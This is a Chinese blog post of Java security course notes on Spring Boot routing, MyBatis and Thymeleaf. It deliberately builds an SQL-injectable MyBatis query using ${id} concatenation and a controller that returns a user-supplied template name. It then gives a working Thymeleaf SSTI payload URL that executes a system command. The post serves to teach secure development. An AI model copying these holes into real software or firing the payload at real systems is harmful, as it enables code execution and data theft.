Day38:安全开发-JavaEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模版注入

目录

SpringBoot-Web应用-路由响应

SpringBoot-数据库应用-Mybatis

SpringBoot-模版引擎-Thymeleaf

思维导图


Java知识点

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatisSpringMVCSpringBootShiroLog4jFastJson

技术:ServletListenFilterInterceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

SpringBoot-Web应用-路由响应

Spring Boot是由Pivotal团队提供的一套开源框架,可以简化spring应用的创建及部署。它提供了丰富的Spring模块化支持,可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot通过自动配置功能,降低了复杂性,同时支持基于JVM的多种开源框架,可以缩短开发时间,使开发更加简单和高效。

参考:https://springdoc.cn/spring-boot/

1、路由映射:

  • @RequestMapping, @GetMapping, 和 @PostMapping 注解用于定义HTTP请求的映射路径。
  • @RequestMapping 是通用注解,而 @GetMapping 和 @PostMapping 是其简化形式,分别用于处理GET和POST请求。

2、参数传递:

  • @RequestParam 注解用于从HTTP请求中提取参数,使得控制器方法可以访问并使用这些参数。

3、数据响应:

  • @RestController 注解用于标识一个类是RESTful风格的控制器,它包含了 @ResponseBody 和 @Controller 的功能。
  • @ResponseBody 表示方法的返回值将直接作为HTTP响应体返回给客户端。
  • @Controller 通常用于标识传统的MVC控制器,而 @RestController 更适用于RESTful风格的控制器。

创建SpringDemo项目
修改服务器URL:https://start.aliyun.com(速度更快版本更稳定)
选择Spring Web
创建cn.wusuowei.springdemo.controller.IndexController

项目目录如下:

package cn.wusuowei.springdemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

@RestController
public class IndexController {

    // 指定GET请求的访问路由
    @RequestMapping(value = "/xiaodiget", method = RequestMethod.GET)
    //@GetMapping(value = "/xiaodiget")
    public String getindex() {
        return "get test";
    }

    // 指定POST请求的访问路由
    @RequestMapping(value = "/xiaodipost", method = RequestMethod.POST)
    //@PostMapping(value = "/xiaodipost")
    public String getpost() {
        return "post test";
    }

    // 指定GET请求的访问路由,带参数名name
    @RequestMapping(value = "/xiaodiget_g", method = RequestMethod.GET)
    //@GetMapping(value = "/xiaodiget")
    public String get_g(@RequestParam String name) {
        return "get test" + name;
    }

    // 指定POST请求的访问路由,带参数名name
    @RequestMapping(value = "/xiaodiget_g", method = RequestMethod.POST)
    //@GetMapping(value = "/xiaodiget_g")
    public String get_p(@RequestParam String name) {
        return "post test" + name;
    }
}

注解说明:

  • @RestController 注解表示这是一个控制器类,专门用于处理RESTful请求,同时它也包含了 @ResponseBody 和 @Controller 的功能。
  • 使用 @RequestMapping 注解指定了类中所有方法的基本路径,即这些方法的映射路径的前缀。

GET请求处理:

  • getindex() 方法用于处理GET请求,映射路径是 “/xiaodiget”。
  • get_g() 方法用于处理GET请求,映射路径是 “/xiaodiget_g”,并且使用 @RequestParam 注解来接收名为 “name” 的参数。

POST请求处理:

  • getpost() 方法用于处理POST请求,映射路径是 “/xiaodipost”。
  • get_p() 方法用于处理POST请求,映射路径同样是 “/xiaodiget_g”,并且同样使用 @RequestParam 注解来接收名为 “name” 的参数。

注解的简化形式:

  • 在注释中也提到了使用 @GetMapping 和 @PostMapping 的简化形式,这两者分别等同于 @RequestMapping 中指定了请求方法的注解。

SpringBoot-数据库应用-Mybatis

在 JAVA 中分析 SQL 注入,采用什么数据库驱动,其使用访问数据库方法不同,所以造成的安全问题也不同。

对小迪上课搜到的三种方式有想了解一下的可以看下面链接
MyBatis 与 JDBC 和 Hibernate 的比较:https://blog.csdn.net/Knight_Key/article/details/131122995

数据库先创建需操作的数据

项目添加 Mybatis & 数据库驱动

  • 若创建项目时选择了 MySQL Driver 和 MyBatis Framework 两个依赖,则项目文件 pom.xml 中会自动添加下面内容
  • 创建项目时若未选择上述两个依赖,则需要手动在 pom.xml 中的 dependencies 标签中添加以下内容
 <dependency>
    <groupId>org.mybatis.spring.boot</groupId>
    <artifactId>mybatis-spring-boot-starter</artifactId>
    <version>2.2.2</version>
 </dependency>
 <dependency>
    <groupId>com.mysql</groupId>
    <artifactId>mysql-connector-j</artifactId>
    <scope>runtime</scope>
 </dependency>

项目配置数据库连接信息

  • 默认配置信息文件为 src/main/resources/ 目录下的 application.properties,这里手动改为了 application.yml
  • 然后清空文件内容,写入下面代码
spring:
    datasource:
        url: jdbc:mysql://localhost:3306/demo01
        username: root
        password: 123456
        driver-class-name: com.mysql.cj.jdbc.Driver

创建 User 类用来操作数据库数据

  • cn.suyou.springbootmybatis.entity.User,在 src/main/java/ 自己创建的组名目录下新建 java 类,输入 entity.User,会自动创建一个 entity 软件包并创建 User.java。
  • set get toString 方法使用下面的快捷键可以一键生成。
  • IDEA 快捷键 alt+insert, 或者右键生成 Getter (),Setter (),toString (),全选然后自动生成即可。
package com.example.springbootmybatils.entity;

public class User {
    private Integer id;
    private String username;
    private String password;

    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", username='" + username + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

创建 Mapper 动态接口代理类实现

  • 创建 java 类时选择接口
  • cn.suyou.springbootmybatis.mapper.UserMapper,在 src/main/java/ 自己创建的组名目录下新建 java 类,输入 mapper.UserMapper,会自动创建一个 mapper 软件包并创建 UserMapper.java。
  • ${id} 是拼接写法,#{id} 是预编译写法
package com.example.springbootmybatils.mapper;


import com.example.springbootmybatils.entity.User;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;

import java.util.List;

@Mapper
public interface UserMapper {
    // ${id} 是拼接写法,#{id} 是预编译写法
    @Select("select * from admin where id like '%${id}%'")
    public List<User> findAll(Integer id);

    @Select("select * from admin where id=1")
    public List<User> findID();
}

创建 Controller 实现 Web 访问调用

  • cn.suyou.springbootmybatis.controller.GetadminController
  • 这个和前面的那个 web 应用访问一样,就是返回数据为从数据库获取信息
package com.example.springbootmybatils.controller;

import com.example.springbootmybatils.entity.User;
import com.example.springbootmybatils.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.util.List;

@RestController
public class GetadminController {

    @Autowired
    private UserMapper UserMapper;

    @GetMapping("/getadmin")
    public List<User> getadmindata(@RequestParam Integer id){
        List<User> all = UserMapper.findAll(id);
        return all;
    }

    @GetMapping("/getid")
    public List<User> getadminid(){
        List<User> all = UserMapper.findID();
        return all;
    }

}

解决8080端口占用问题

netstat -ano | findstr "8080"

taskkill /F /PID 10056

安全危险:mybatis sql语句注入风险

SpringBoot-模版引擎-Thymeleaf

不安全的模版版本
日常开发中:语言切换页面,主题更换等传参导致的 SSTI 注入安全问题
漏洞参考:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg

使用模板渲染,必须在resources目录下创建templates存放html文件

遇到问题:路径访问并没有从模板渲染,而是当成字符串显示操作

原因:@RestController包含了 @ResponseBody 和 @Controller 的功能。@ResponseBody index当做字符串显示操作

解决方式:更换为@Controller 没有ResponseBody index当做资源文件去渲染

项目目录如下:

controller/ThyremeafController.java

package cn.xiaodisec.thyremeafdemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@Controller
public class ThyremeafController {
//    @RequestMapping(value = "/")
//    public String index(Model model) {
//        model.addAttribute("data","hello xiaodi");
//        //@RestController ResponseBody index当做字符串显示操作
//        //Controller 没有ResponseBody index当做资源文件去渲染
//        return "index";
//    }

    @RequestMapping(value = "/test")
    public String index() {
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return "test";
    }

    @RequestMapping(value = "/")
    public String index(@RequestParam String lang) {
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return lang; //lang=en index-en
    }


}

resources/templates/index.html

<!DOCTYPE html>
<html  xmlns:th="http://www.thymeleaf.org">
<head>
  <meta charset="UTF-8">
  <title>Title</title>
</head>
<body >
<span th:text="${data}">小迪安全</span>
</body>
</html>

resources/templates/index-en.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

</body>
</html>

application.properties

# 应用服务 WEB 访问端口
server.port=8080
# THYMELEAF (ThymeleafAutoConfiguration)
# 开启模板缓存(默认值: true )
spring.thymeleaf.cache=true
# 检查模板是否存在,然后再呈现
spring.thymeleaf.check-template=true
# 检查模板位置是否正确(默认值 :true )
spring.thymeleaf.check-template-location=true
#Content-Type 的值(默认值: text/html )
spring.thymeleaf.content-type=text/html
# 开启 MVC Thymeleaf 视图解析(默认值: true )
spring.thymeleaf.enabled=true
# 模板编码
spring.thymeleaf.encoding=UTF-8
# 要被排除在解析之外的视图名称列表,⽤逗号分隔
spring.thymeleaf.excluded-view-names=
# 要运⽤于模板之上的模板模式。另⻅ StandardTemplate-ModeHandlers( 默认值: HTML5)
spring.thymeleaf.mode=HTML5
# 在构建 URL 时添加到视图名称前的前缀(默认值: classpath:/templates/ )
spring.thymeleaf.prefix=classpath:/templates/
# 在构建 URL 时添加到视图名称后的后缀(默认值: .html )
spring.thymeleaf.suffix=.html

安全问题

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题

例如:更换中英文页面模板

启动项目,并输入对应路由访问,指向渲染文件的文件名

注入为:

http://127.0.0.1:8080/?lang=%7bnew java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()%7d__::.x](http://127.0.0.1:8080/?lang=__%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d::.x)

思维导图

  • 24
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Dao-道法自然

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值